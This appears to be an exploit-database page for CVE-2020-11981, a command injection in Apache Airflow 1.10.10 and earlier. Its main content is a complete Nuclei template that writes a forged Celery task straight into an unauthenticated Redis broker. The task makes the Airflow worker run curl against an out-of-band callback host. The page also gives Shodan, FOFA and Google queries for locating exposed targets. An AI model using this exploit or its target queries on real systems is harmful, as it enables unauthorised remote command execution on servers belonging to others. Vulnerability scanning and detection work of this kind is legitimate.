CVE-2020-11981: Apache Airflow <=1.10.10 - Command Injection

2025-08-01 Apache Airflow PoC Public

Description

An issue was found in Apache Airflow versions 1.10.10 and below. When using CeleryExecutor, if an attacker can connect to the broker (Redis, RabbitMQ) directly, it is possible to inject commands, resulting in the celery worker running arbitrary commands.

PoC

id: CVE-2020-11981

info:
  name: Apache Airflow <=1.10.10 - Command Injection
  author: pussycat0x
  severity: critical
  description: |
    An issue was found in Apache Airflow versions 1.10.10 and below. When using CeleryExecutor, if an attacker can connect to the broker (Redis, RabbitMQ) directly, it is possible to inject commands, resulting in the celery worker running arbitrary commands.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system.
  remediation: Upgrade apache-airflow to version 1.10.11 or higher.
  reference:
    - https://github.com/apache/airflow/pull/9178
    - https://github.com/vulhub/vulhub/tree/master/airflow/CVE-2020-11981
    - https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E
    - https://github.com/t0m4too/t0m4to
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-11981
    cwe-id: CWE-78
    epss-score: 0.91348
    epss-percentile: 0.9964
    cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: apache
    product: airflow
    shodan-query:
      - product:"redis"
      - http.title:"airflow - dags" || http.html:"apache airflow"
      - http.title:"sign in - airflow"
    fofa-query:
      - apache airflow
      - title="airflow - dags" || http.html:"apache airflow"
      - title="sign in - airflow"
    google-query:
      - intitle:"airflow - dags" || http.html:"apache airflow"
      - intitle:"sign in - airflow"
  tags: cve,cve2020,network,redis,unauth,apache,airflow,vulhub,intrusive,tcp,vuln

variables:
  data: "*3\r

    $5\r

    LPUSH\r

    $7\r

    default\r

    $936\r

    {\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"delivery_info\": {\"routing_key\": \"celery\", \"exchange\": \"\"}, \"reply_to\": \"fb996eec-3033-3c10-9ee1-418e1ca06db8\"}, \"content-type\": \"application/json\", \"headers\": {\"retries\": 0, \"lang\": \"py\", \"argsrepr\": \"(100, 200)\", \"expires\": null, \"task\": \"airflow.executors.celery_executor.execute_command\", \"kwargsrepr\": \"{}\", \"root_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"parent_id\": null, \"id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"origin\": \"gen1@132f65270cde\", \"eta\": null, \"group\": null, \"timelimit\": [null, null]}, \"body\": \""
  encode1: '[[["curl", "http://'
  encode2: '"]], {}, {"chain": null, "chord": null, "errbacks": null, "callbacks": null}]'
  end: '"}'

tcp:
  - inputs:
      - data: "{{data+base64(encode1+'{{interactsh-url}}'+encode2)+concat(end+ '\r

          ')}}"
        read: 1024

    host:
      - "{{Hostname}}"
      - "{{Host}}:6379"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"
# digest: 4a0a0047304502200eb7c276ccd7b2da3374c6f9408a94613a857b534d6fb987f112eef7dbe03326022100f0b95ea9563d226c97957cbb90a454760806c6c56f4fe503b4339ab0a009766b:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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